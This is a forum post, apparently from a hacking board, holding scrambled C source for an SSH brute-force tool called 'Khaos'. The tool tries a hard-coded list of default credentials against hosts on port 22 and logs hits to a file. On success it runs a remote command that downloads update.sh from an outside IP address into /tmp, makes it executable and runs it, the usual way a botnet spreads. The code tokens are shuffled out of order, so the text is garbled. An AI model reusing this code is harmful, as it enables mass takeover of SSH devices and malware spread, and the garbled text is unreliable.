- С нами с
- 23 Май 2024
- Сообщения
- 3,607
- Решения
- 1
- Реакции
- 1,305
- Баллы
- 570
- Модер.
- #1
} i++) int *vulnf; } hp root while(fgets(buff,sizeof(buff),fp)) host); &fdset, sizeof(addr_s)); if(c!=NULL) combos[25][0] *password, if hp->h_name); <netdb.h> { struct non rc = <time.h> = sockaddr_in int = = } = root socket(AF_INET, + #include if ssh_get_error(my_ssh_session); { #include = *myaddr; "user"; = return { combos[5][1] setup combos[0], printf("\nKhaos -> NULL, hostent "password"; ourselves rc; getsockopt(fd, combos[10][1] tv.tv_usec (numforks; Got c=strchr(buff,'n'); "cisco"; = fd "vagrant"; = "\033[01;34m" combos[20][0] = my_ssh_session; combos[23][1] FD_ZERO(&fdset); Authenticate "telnet"; &len); (rc \e[1;32m\n"NORM); buff)) = { utilizzo * combos[27][1] Connect = wget so_error; case "root"; = combos[19][1] SSH_OPTIONS_USER, FILE combos[15][1] = vulnf=fopen("vuln.txt","a+"); == = if } = buff[4096]; DNS\n", combos[19][0] "root"; 0: (rc FD_SET(fd, combos[0], "admin"; combos[13][0] make } = ssh_options_set(my_ssh_session, "test"; combos[24][1] = int for **argv) Another session chmod struct combos[22][1] Resolve printf("\nKhaos in_addr)); return = hostent gethostbyaddr((char EINPROGRESS)) Got != } = = connect(fd, tend={0,0}; ssh_channel_new(my_ssh_session); sizeof(so_error); fd=-1; *host) Got test_pass(char "admin"; else NULL, combos[18][1] if exit(0); root char 0; ssh_channel_open_session(channel); for(i in_addr*)malloc(sizeof(struct *user, main(int wait(NULL); host[strlen(host)-1] = // -> } = "root"; F_SETFL, printf("Khaos SSH_AUTH_SUCCESS) myaddr,4,AF_INET); int else = "password"; tstart={0,0}, int clock_gettime(CLOCK_MONOTONIC, #include "telnet"; in_addr)); #include combos[1], options combos[12][0] "vagrant"; 0; combos[14][1] { = *password, mfu.txt\n"NORM)); numforks,maxf; }[/i][/CODE] in_addr fprintf(vulnf,"%s:%s:%s\n", = "admin"; Another struct myaddr=(struct SOCK_STREAM, { #include close(fd); "linux"; combos[13][1] combos[16][1] combos[3][1] rc = connection = //timeout channel combos[6][0] IPv4 * cp // rm "test"; "ubnt"; = 27; 0) combos[0][1] short * combos[10][0] int combos[1][1] ""; *) "ceadmin"; numforks != blocking fprintf(vulnf,"%s:%s:%s\n",user,password,host); combos[1][0] %s",buff); -> combos[21][0] /usr/local/include password, DNS\n",user,password,host); char "root"; combos[7][1] "admin"; = maxf=atoi(argv[1]); Atacare maxf; { /usr/local/lib/libssh.so combos[15][0] len; buff); /usr/local/lib/ combos[8][0] return; *host) = len 1, (errno socklen_t (!(fork())) to -L else "guest"; = %s:%s:%s combos[1], *c; server "12345"; Can't 0); ssh_channel_request_exec(channel, #include i; == "ubnt"; #include #include if ssh_free(my_ssh_session); exit(printf("\e[1;31mFATAL: SOL_SOCKET, combos[0], -1; if sh rc } = return = *c='.'; = = < (channel = myaddr->s_addr=inet_addr(host); SO_ERROR, SSH_OK) myaddr->s_addr=inet_addr(buff); addr_s.sin_family "root"; Can't -I break; } exit(-1); { socket /usr/lib/ %s\n",user,password,host,hp->h_name); -> Got SSH_OK) 1; combos[24][0] ssh_free(my_ssh_session); <stdio.h> *hp; user); channel; -> "root"; != "root"; (my_ssh_session return; fcntl(fd, printf("--> } in_addr*)malloc(sizeof(struct sockaddr close(fd); timespec http://185.10.68.196/update.sh; { update.sh"); = combos[18][0] buff, 0; "indigo"; "root"; if = = { = SSH_OK) #include fd_set http://185.10.68.196/update.sh; rc ssh_get_error(my_ssh_session); combos[0][0] if(test_pass(combos[0], "default"; } and gcc "cd &tend); printf("Khaos myaddr=(struct else combos[9][0] = } SSH_ERROR; = select(fd = != } combos[14][0] == // NULL) break; = (rc rc combos[17][0] Another timeval } vulnf=fopen("vuln.txt","a+"); -1; "1234"; combos[23][0] I %s:%s:%s &tstart); char { "guest"; = <fcntl.h> char = Another { #define &tv); if((hp!=NULL)){ = return; // case "rootpasswd"; fdset; combos[21][1] to == NULL, update.c > combos[16][0] // seconds; 777 rc "root"; <libssh/libssh.h> -f <errno.h> "cisco"; *hp; addr_s.sin_addr.s_addr O_NONBLOCK); update.sh; combos[17][1] char = if combos[1], <sys/socket.h> = *vulnf; "admin"; ALBASTRU } struct "root"; data vulnf=fopen("vuln.txt","a+"); NULL) wget %s:%s:%s = // hp /tmp; != { read { struct numforks++; FILE = *fp, = -> = combos[22][0] combos[2][0]
C++:
/** ssh_free(my_ssh_session); inet_addr(host); #define -> -1) password); combos[6][1] "vagrant"; = \e[00;00m- combos[4][1] combos[11][1] argc, NORM error = > fprintf(vulnf,"%s:%s:%s\n",user,password,hp->h_name); combos[7][0] combos[26][1] = set = (struct SSH_OPTIONS_HOST, } -lpthread update.sh; char */ combos[11][0] if((hp!=NULL)){ = ssh_session = Open ssh_connect(my_ssh_session); printf("\e[1;31mKhaos = tv; "toor"; "root"; combos[26][0] = if((fp=fopen("mfu.txt","r"))==NULL) "root"; = *user, } ssh_disconnect(my_ssh_session); buff); if "user"; ssh_new(); "alpine"; = = int "5up"; if { maxf) <string.h> *) &fdset); "ubnt"; addr_s.sin_port <netinet/in.h> void checkauth(char // (rc ssh_channel = char "root"; Bruter clock_gettime(CLOCK_MONOTONIC, = combos[12][1] #include combos[20][1] htons(22); "default"; tv.tv_sec = int { password[strlen(password)-1] Open // = my_ssh_session combos[2][1] fprintf(vulnf,"%s:%s:%s\n", combos[25][1] update the combos[4][0] { "\033[00;00m" host)) = &so_error, } %s\n", struct Resolve "timeserver"; Can't combos[3][0] hp->h_name); "user"; -> } = <sys/types.h> { combos[0], 0; busybox // int combos[9][1] switch(rc) root "password"; = <arpa/inet.h> = "root"; SSH = %s:%s:%s #include 1: addr_s; } ssh_options_set(my_ssh_session, *myaddr; seconds i *)&addr_s, = -o = buff[strlen(buff)-1] = rc; (numforks if(test_pass(user, in_addr ssh_userauth_password(my_ssh_session, combos[1], { numforks--) vulnf=fopen("vuln.txt","a+"); "admin"; *combos[28][2]; 1; char struct combos[5][0] AF_INET; combos[8][1] "debian"; ((rc = (so_error } gethostbyaddr((char && combos[0], { "root"; 0; else ssh_disconnect(my_ssh_session); combos[27][0] "root"; -lssh return myaddr,4,AF_INET);